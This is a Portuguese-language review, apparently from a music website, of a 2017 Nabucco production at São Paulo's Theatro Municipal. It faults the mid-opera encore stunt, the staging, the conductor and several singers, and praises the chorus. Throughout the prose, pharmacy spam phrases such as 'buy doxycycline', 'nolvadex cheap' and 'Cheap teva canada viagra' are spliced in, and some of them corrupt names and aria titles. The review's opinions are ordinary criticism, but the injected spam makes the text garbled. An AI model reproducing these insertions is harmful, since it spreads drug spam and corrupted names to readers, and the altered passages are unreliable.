Escrito por em 25 set 2017 nas áreas Crítica, Lateral, Ópera, São Paulo

Problemas cênicos e musicais comprometem produção de Nabucco em São Paulo.

 

Foi uma noite muito mais de erros que de acertos, mas o pior deles ocorreu justamente em um dos momentos mais aguardados da récita de estreia de Nabucco, nesta sexta-feira, 22 de setembro, no Theatro Municipal de São Paulo. Lá pelas tantas, quase no fim do terceiro ato, após o maravilhoso coro Va’, pensiero, aconteceu uma das coisas mais estapafúrdias que vi em mais de 20 anos frequentando óperas no Brasil e no exterior: o regente interrompe a récita e se dirige ao público utilizando-se de um microfone tão somente para informar que iria bisar a célebre passagem coral e que o público poderia filmar e fotografar durante o bis. Verdi deve ter se remexido no túmulo…

O Municipal paulistano lançou este ano uma ação chamada Buy Bis no Municipal, que serve exatamente para que o público possa fotografar ou fazer pequenos vídeos durante a sua execução e depois postá-los em redes sociais com a hashtag #BisNoMunicipal. Houve dois objetivos claros na medida: primeiramente, uma tentativa de modernização e aproximação com um público mais jovem; e depois, tentar evitar que o público fizesse esse tipo de coisa durante a apresentação oficial, uma vez que teria garantida a possibilidade de fazê-lo durante a repetição de alguma passagem da apresentação. Segundo apurei com amigos em um dos intervalos, isso ocorreu nas duas óperas apresentadas em forma de concerto no primeiro semestre, mas sempre ao fim das apresentações.

Na noite dessa sexta, o expediente não funcionou bem. Vá lá que bisar o Va’, pensiero seja uma tradição em vários teatros e que ele fosse bisado aqui também (como o foi no TMRJ em 2011), mas interromper a apresentação de uma obra de arte de caráter performático para se dirigir ao público através de um sistema de som não utilizado na apresentação e ainda permitir as telas acesas dos celulares no meio do espetáculo somente serviu para: atrapalhar a concentração do público; desviar a sua atenção daquilo que de mais importante havia no Municipal (a obra em questão); dividir ainda mais a obra, além da sua natural divisão de atos.

Pode até ser que esse expediente funcione bem em concertos (sempre no final), mas no meio de uma ópera encenada revelou-se totalmente absurdo e despropositado. Ao interromper uma apresentação de ópera sem um motivo nobre ou minimamente plausível, a iniciativa mostrou claramente aquilo que é: populismo barato travestido de “modernidade”. E espanta-me especialmente que um regente como Roberto Minczuk aceite assumir esse papelão popularesco. Se bem que, pensando melhor, isso não chega a ser uma total surpresa quando consideramos que o regente, desde os seus tempos de OSB, empenha-se em apresentar programas sinfônicos do tipo Tributo a John Williams Pills mais vezes do que seria aceitável.

 

TMSP deverá fazer mais duas óperas em 2017

Se o erro crasso que acabei de expor foi o pior da noite, por outro lado não foi o primeiro. O primeiro se deu quando o secretário municipal de Cultura, André Sturm, subiu ao palco antes do começo da récita para um curto pronunciamento, levando consigo Carlos Gradim, presidente do Instituto Odeon (que venceu o chamamento público para a escolha da nova organização social que fará a gestão do Theatro Municipal de São Paulo).

Gradim entrou mudo e saiu calado, apenas acompanhou Sturm, que por sua vez não disse absolutamente nada de importante. Foi lá para que então? Só para aparecer? Não precisava. Um dia o secretário aprenderá que o palco é apenas dos artistas, e que ali tudo o que se quer dizer se diz através da arte, e não por meio de discursos ou pequenos pronunciamentos estéreis.

Do pouco ou nada que Sturm falou, a única informação minimamente relevante foi que o TMSP deverá ter mais duas óperas ainda este ano, depois do presente Nabucco, mas não citou seus títulos, limitando-se a dizer que eles seriam anunciados na próxima semana. Para dar a informação pela metade, era melhor não fazê-lo. O Purchase Movimento.com tenta então completar o serviço.

Antes de deixar a direção artística do TMSP, Cleber Papa havia agendado ainda para este ano a ópera Os Pescadores de Pérolas, de Bizet, e a opereta O Morcego, de Johann Strauss II. O papo de bastidores ontem no Municipal dava conta de que a ópera francesa seria mantida, mas a opereta seria substituída por A Flauta Mágica, de Mozart. A confirmar, portanto.

 

Equívocos e mais equívocos

Ópera em quatro atos e sete cenas de Giuseppe Verdi, sobre libreto de Temistocle Solera, com base no Antigo Testamento e no drama Nabuchodonosor, de Francis Cornue e Auguste Anicet-Bourgeois, Nabucco finalmente marca o retorno das óperas encenadas ao Municipal paulistano – mais tarde, bem mais tarde do que seria aceitável.

Apenas a terceira das mais de 25 óperas escritas por Verdi, Nabucco definitivamente não é uma obra-prima. Ainda assim, algumas características que marcariam a carreira do compositor já podiam ser identificadas nesta ópera, como por exemplo a sua capacidade para criar melodias cativantes e a bem delineada caracterização psicológica de personagens, que aqui observamos sobretudo na figura de Abigaille. E, quando o coro entoa o Va’, pensiero, não restam mais dúvidas: um gênio havia sido despertado – gênio este que, mais tarde, daria ao mundo Rigoletto, Il Trovatore, La Traviata, Don Carlo, Aida, Otello, Falstaff e tantas outras joias do chamado repertório internacional.

O pano de fundo da trama da ópera é o exílio dos hebreus, escravizados longe de sua terra natal. Cleber Papa, diretor cênico da montagem, busca ressaltar em sua concepção exatamente essa sensação de não pertencimento, dialogando diretamente com várias situações que vemos hoje no mundo, nas quais pessoas e até famílias completas são obrigadas a deixar a sua terra em virtude de guerras e outros conflitos. O encenador busca também o que chama de “essencialismo”, ou seja, o que é essencial na arte.

O resultado cênico, no entanto, fica muito aquém do proposto. O que vemos, na verdade, é uma concepção tradicional feita com poucos recursos e, por isso mesmo, totalmente irregular. Os cenários do próprio Papa são extremamente simples e, ao mesmo tempo, não funcionais – tanto que uma ópera não muito extensa como esta precisa de três intervalos, quando poderia ter somente um (há uma semana, vi em Belém um Don Giovanni com muito mais trocas de cenários ao longo da apresentação, e todas foram feitas com grande eficiência). A realização dos ambientes também deixou muito a desejar: na primeira cena do terceiro ato, por exemplo, em que se utilizou um dos elevadores do palco, era bastante nítida a falta de acabamento na base da parte superior do elevador.

Os figurinos, recauchutados por Emilia Reily a partir do acervo da casa, são também bastante irregulares, e aquele do personagem-título, especificamente, é um exemplo de mau gosto. No discurso, as vestes são “atemporais”, adjetivo que muitas vezes funciona como subterfúgio para evitar dizer a verdade: neste caso, são uma miscelânea, oriundos de produções diferentes, e exatamente por isso, irregulares. Fico me perguntando se esse tipo de atitude não impede que determinadas produções que existam em acervo possam ser remontadas. A iluminação de Valéria Lovato não é muito inspirada e, na presente produção, não poderia mesmo fazer milagres.

Há problemas também na direção dos solistas. No fim do primeiro ato, Fenena é feita de refém por Zaccaria, mas, durante o sexteto Order Tremin gl’insani, a marcação afrouxa, e ela fica soltinha, longe de seu algoz, perto do pai, para só ao final do sexteto voltar a ficar sob a ameaça do punhal do sacerdote. Primário. As caracterizações de Nabucco e Abigaille, especialmente, quase como loucos, ficaram caricatas em alguns momentos.

Musicalmente, a produção também deixou a desejar. A Order Orquestra Sinfônica Municipal de SP começou muito bem sob a regência de Minczuk, com uma bela interpretação da abertura, mas se perdeu ao longo da noite em desencontros. Pode ter pesado a pouquíssima experiência do regente em ser o elo entre o fosso e o palco. É preciso gostar muito de ópera para ser um bom regente de ópera, e sinceramente não sei se Minczuk gosta. É de se desconfiar o fato de ele nunca, em sua carreira até aqui, ter se esforçado muito para trabalhar com ópera, tendo-o feito raríssimas vezes e apenas por convites recebidos (como foi o caso este ano, ao ser convidado para ser titular da OSM), e não porque ele próprio tenha procurado por isso.

Adentrando por fim na análise dos solistas que cantaram na récita de estreia, a mezzosoprano Lidia Schäffer não esteve bem como Fenena, tanto vocal como cenicamente. Neste último aspecto, apresentou-se inexpressiva. Já sua voz soou o tempo todo de maneira enfadonha, sem qualquer requinte no canto. Sua oração do último ato, Oh, dischiuso è il firmamento!, teve um resultado opaco, sem qualquer brilho.

Ainda pior esteve a soprano buy doxycycline Marly Montoni (na foto do post). Cheguei a São Paulo com boas recomendações para ouvi-la, mas a decepção foi grande. Creio que o problema, aqui não foi a qualidade da voz da artista, mas, sim, a total inadequação de seu instrumento para cantar a parte de Abigaille, uma das mais terríveis do repertório verdiano. Tal como a personagem-título da nolvadex cheap Norma, de Bellini, Abigaille exige um registro vocal não muito comum em nossos dias: soprano dramático de agilidade (ou soprano dramático coloratura), o qual definitivamente não é o registro de Montoni. Erro duplo, portanto: primeiro, de quem a convidou; e depois da própria soprano, por ter aceitado o convite para cantar uma parte da qual ela deveria saber que não daria boa conta.

Por não ter a voz adequada à parte, Marly Montoni precisou se virar. Recorreu bastante à voz de peito, através da qual atingiu belos graves, mas foi só. Do registro médio pra cima, complicou-se bastante, obtendo uma emissão quase sempre forçada, sobretudo nos agudos. Por conseguinte, sua afinação oscilou bastante, e por tudo isso, em passagens como o dueto Donna, chi sei?, a ária Anch’io dischiuso un giorno e, especialmente, a cabaletta Salgo già del trono aurato, seu rendimento ficou abaixo do minimamente satisfatório.

O problema da inadequação vocal está se tornando corriqueiro no Brasil. Exatamente uma semana antes, no Don Giovanni apresentado no Theatro da Paz, em Belém, pelo menos dois cantores tinham as vozes inadequadas para as partes para as quais foram convidados. Quando alguém pensa em montar Nabucco, o raciocínio deveria ser simples: sem uma Abigaille de verdade à disposição, o título não deveria ser sequer considerado, mas, ao contrário, sumariamente descartado. Outro título, pois, mais adequado às vozes disponíveis no momento, deveria ter sido o escolhido.

Rodolfo Giugliani e Marly Montoni (ao fundo)

 

Salvação da noite

Dentre os solistas terciários, Jayana Paiva (Anna), Eduardo Góes (Abdallo) e Rafael Thomas (Sumo Sacerdote de Baal) não comprometeram em suas pequenas partes. Em uma ópera em que o tenor tem papel secundário, Cheap teva canada viagra Cheap Marcello Vannucci me assustou em sua primeira intervenção, com uma emissão muito ruim. Mas logo em seguida melhorou bastante e manteve um Ismaele correto até o fim. Se não chegou a brilhar, pelo menos não fez feio.

Escolhido pelo Movimento.com como melhor cantor de 2016 por sua atuação como Iberê, em Lo Schiavo, de Carlos Gomes, no Theatro Municipal do Rio de Janeiro, o barítono Rodolfo Giugliani esteve bem vocalmente como Nabucco. Sua voz sempre segura passeou bem por passagens como a ária Dio di Giuda! e a cabaletta Cadran, cadranno i perfidi. Sua atuação cênica, porém, deixou a desejar, e o artista parece não ter “entrado” no personagem, prejudicado, talvez, pelas opções da direção cênica.

O baixo Carlos Eduardo Marcos, se tampouco foi brilhante, teve a atuação vocal mais consistente entre os solistas, como o profeta Zaccaria. Sua cabaletta do primeiro ato, Come notte a sol fulgente, revelou-se pouco satisfatória, mas a cavatina acompanhada de coro, D’Egitto là sui lidi, a oração do segundo ato, Tu sul labbro de’ veggenti, e a profecia acompanhada de coro no terceiro ato, Del futuro nel buio discerno, foram todas interpretadas com grande segurança e boa projeção. Quase sempre bem sonora (exceto pela supracitada cabaletta), sua voz passeou bem por todas as regiões, com destaque especial para os graves. Nos números de conjunto também esteve bem.

Preparado por Mário Zaccaro, que voltou a ocupar a função de regente titular do conjunto nesta temporada, o Coro Lírico Municipal de São Paulo foi o grande destaque da estreia deste Nabucco – que pode ser considerada, claro, uma ópera-coral. Desde sua primeira intervenção, Gli arredi festivi, o coro mostrou-se nuançado e equilibrado. Vozes femininas e masculinas estavam bem equilibradas e o conjunto alcançou uma sonoridade bela e sempre expressiva. Além das demais contribuições ao longo da ópera, a célebre passagem Va’, pensiero recebeu interpretação irrepreensível, mesclando expressividade com sensibilidade. Peço sinceras desculpas aos membros do grande Coro Lírico Municipal, mas, atônito com a ideia estapafúrdia mencionada no começo desta resenha e com as várias telas de celulares acesas à minha frente (um aparelho chegou inclusive a tocar!), não consegui me concentrar no bis da referida passagem.

 

O desafio do Instituto Odeon

Diante de um Nabucco tão problemático (que está em cartaz até o dia 30 para quem quiser tirar as suas próprias conclusões), não restam dúvidas de que será grande o desafio do Instituto Odeon na gestão daquele que já há algum tempo se tornou o principal teatro de ópera do país. O público paulistano, e também o público brasileiro que passou a viajar para São Paulo para conferir as melhores produções de ópera feitas em nossa terra, estão acostumados a um padrão lírico bem superior ao verificado na presente produção.

O desafio principal do Instituto Odeon será exatamente o de encontrar o meio termo entre as produções caríssimas da gestão anterior e a produção de baixo custo, e consequentemente de nível comprometido, que ora pudemos verificar. Para isso, precisará contar, à sua volta, com profissionais que sejam do ramo (o que não é o caso atualmente dos diretores da instituição); e precisará encontrar, sobretudo, um diretor artístico que realmente entenda de ópera e de vozes, que saiba montar elencos decentemente, e que saiba escolher títulos de acordo com os recursos humanos, financeiros e artísticos disponíveis. Esse diretor deverá ter a consciência de que nem todas as óperas podem ser montadas com artistas brasileiros. Há uma gama incontável de títulos para os quais pelo menos um, dois, talvez três solistas deverão vir do exterior. Alguns destes poderão ser, inclusive, artistas brasileiros que atuam mais no exterior que no Brasil.

A última informação que chegou à imprensa, de que o Instituto pretende montar, pelo menos neste primeiro momento, um conselho artístico é muito preocupante, especialmente porque essa decisão pode, desde já, comprometer a temporada 2018 da casa, visto que a de 2017, em termos de ópera, está praticamente perdida. Se uma comissão estabelecesse a temporada 2018, por exemplo, quem escolheria os elencos vocais das produções líricas? Os elencos seriam escolhidos em cima da hora, provavelmente comprometendo a sua qualidade? Tudo está, até agora, mal explicado.

O Theatro Municipal de São Paulo encontra-se agora acéfalo sob o ponto de vista artístico, e precisa encontrar um cérebro o mais rapidamente possível. Precisa encontrar, sobretudo, alguém que entenda o óbvio: a casa é um teatro de ópera, e portanto a ópera deve ser o carro-chefe de sua programação, com produções bem feitas e bem planejadas. Cleber Papa parece não ter entendido essa premissa básica em seus poucos meses de gestão artística no TMSP, em que a ópera foi jogada para um inaceitável terceiro plano.

 

Fotos: Clarissa Lambert

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